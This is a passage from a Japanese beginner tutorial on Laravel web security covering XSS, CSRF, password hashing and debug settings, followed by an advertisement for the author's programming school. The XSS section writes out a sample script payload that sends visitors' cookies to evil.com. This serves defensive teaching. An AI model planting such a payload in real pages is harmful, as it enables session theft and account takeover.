2. XSS(クロスサイトスクリプティング)
掲示板やSNSのように、ユーザーが入力した内容を他のユーザーの画面に表示するページで、悪意のあるスクリプト(プログラム)を埋め込まれてしまう攻撃です。
アプリケーションが入力値を画面に出力する際、HTMLとして意味を持つ記号を適切に無害化(エスケープ)しないことで発生します。
例えば、掲示板の名前欄に次のような入力をして投稿したとします。
<script>location.href='http://evil.com/steal?cookie='+document.cookie;</script>
もし対策をしていない場合、この投稿を見た他のユーザーのブラウザは、これを「ただの文字」ではなく「実行すべきJavaScriptのプログラム」として解釈してしまいます。
その結果、ページを開いた瞬間に、そのユーザーのCookie情報(ログイン状態などを管理する重要な鍵)が攻撃者のサイト(http://evil.com)へ勝手に送信され、アカウント乗っ取りなどの被害に遭ってしまいます。
【解決策:Laravel】Bladeテンプレートの二重括弧を使う
LaravelのBladeテンプレートを使っている場合、 {{ }} で変数を囲むだけで、自動的に特殊文字をエスケープ(無害化)して表示してくれます。
<p>こんにちは、{{ $name }} さん</p>
この場合、先ほどのスクリプトタグは <script>... のような無害な文字列に変換され、ブラウザ画面には文字として表示されるだけで、プログラムとしては実行されません。
一方、次の書き方は注意が必要です。
<p>こんにちは、{!! $name !!} さん</p>
{!! !!} は「あえてHTMLタグを有効にしたい」場合に使いますが、ユーザー入力値をここに通すとXSSの脆弱性になります。初心者のうちは基本的に使わないようにしましょう。
対策ポイント:
- ユーザーの入力値を画面に出す時は、必ずエスケープ(無害化)処理を通す。
- Laravelでは基本的に {{ }} を使い、{!! !!} の使用は避ける。
3. CSRF(クロスサイトリクエストフォージェリ)
ログイン済みのユーザーが、攻撃者の用意した罠サイトにアクセスすることで、本人が意図しない操作(勝手に退会する、商品を購入する、投稿するなど)をさせられてしまう攻撃です。
例えば、あなたがSNSにログインしている状態で、悪意のある罠サイトを閲覧してしまったとします。その罠サイトには、裏側で「SNSの退会処理URL」へデータを送信する仕組みが隠されていました。
Webブラウザは、あるサイトへアクセスする際、そのサイト用のCookie(セッションIDなど)を自動的に一緒に送信する性質があります。
そのため、SNS側のサーバーは「正しいセッションIDを持ったユーザーからのリクエストだ」と判断し、あなたが自分の意思でボタンを押したのか、罠サイトから勝手に送らされたのかを区別できず、退会処理を実行してしまいます。
【解決策:Laravel】CSRFトークンを含める
「このリクエストは、正しいWebサイトのフォームから送信されたものですよ」と証明するための合言葉(トークン)を発行し、送信時にチェックします。
Laravelでは、フォームの中に @csrf ディレクティブを書くだけで対策が完了します。
<form method="POST" action="/profile/delete">
@csrf <button type="submit">退会する</button>
</form>
これにより、HTML生成時にランダムなトークン(合言葉)が埋め込まれます。
攻撃者の罠サイトはこの「合言葉」を知ることができないため、もし罠サイトから無理やりリクエストを送らせても、サーバー側で「合言葉がない(または間違っている)」と判断して処理をブロック(419エラー)してくれます。
対策ポイント:
- フォーム(POST/PUT/DELETEなど)を作成する際は、必ずCSRF対策を行う。
- Laravelでは <form> タグの中に必ず @csrf を記述する。
4. その他、初心者がやりがちなNG実装
① パスワードを平文(そのまま)で保存している
データベースの中身は、開発者やサーバー管理者なら見ることができます。また、万が一SQLインジェクションなどでデータが流出した場合、パスワードがそのまま保存されていると、即座に不正ログインされてしまいます。
【解決策】
パスワードは必ずハッシュ化(復元できないランダムな文字列に変換)して保存します。
Laravelでは Hash ファサードを使います。
// ユーザー作成時など
$user->password = Hash::make($request->input('password'));
② デバッグ情報を本番環境で表示している
エラーが発生した際、画面に詳細なエラー内容(ファイルパス、データベースの構造、コードの一部など)が表示される画面が出ていませんか?
これは開発時には便利ですが、攻撃者にとってはシステムの内部構造を知るための「宝の地図」になってしまいます。
【解決策】
本番環境(公開サーバー)の設定ファイル(.env)では、必ずデバッグモードをオフにします。
# .env ファイル
APP_DEBUG=false
まとめ:セキュリティは「作って終わり」ではない
ここまで紹介した3つの脆弱性は、基本中の基本ですが、非常に危険度が高いものです。
- SQLインジェクション:DB操作には必ずORM/プリペアドステートメントを使う。
- XSS:表示時には必ずエスケープする({{ }}を使う)。
- CSRF:フォームには @csrf を入れる。
「自分のアプリは大丈夫かな?」と不安になった方は、ぜひ一度コードを見直してみてください。
Webエンジニアとして、「動くコード」だけでなく「安心して使える安全なコード」を書く習慣を身につけていきましょう!
脆弱性対策は、知識として知っているかどうかより、書くたびに手が動くかどうかで差が出ます。安全なコードを書く習慣まで含めて学べる場として、私が代表を務めるSiiDの概要は下記のとおりです。
AIプログラミングスクール「SiiD」について
AIプログラミングスクール「SiiD」は、未経験からITエンジニア転職を目指す方向けのオンラインスクールです。
SiiDの特徴
- 現役エンジニアでYouTube登録者約13万人の「セイト先生」が代表兼主任講師
- 採用側の実務知見(2,000人以上の選考・150名以上のエンジニア採用)にもとづく指導
- 生成AIを取り入れた学習設計と、実務レベルのフルスタックWeb開発スキル
- Workship CAREER(株式会社GIG)と連携した無料の転職伴走支援
- 経済産業省認定のReスキル講座で、給付金の条件を満たせば実質105,600円〜
- 学割あり(35%オフ)
こんな方におすすめ
- 未経験・文系・社会人からITエンジニア転職を本気で目指したい方
- 独学に限界を感じている方
- 費用を抑えながら実務スキルと転職サポートを両立したい方
「未経験だから」とあきらめる必要はありません。採用する側を知り尽くしたプロが、給付金で負担を抑えながら内定まで伴走します。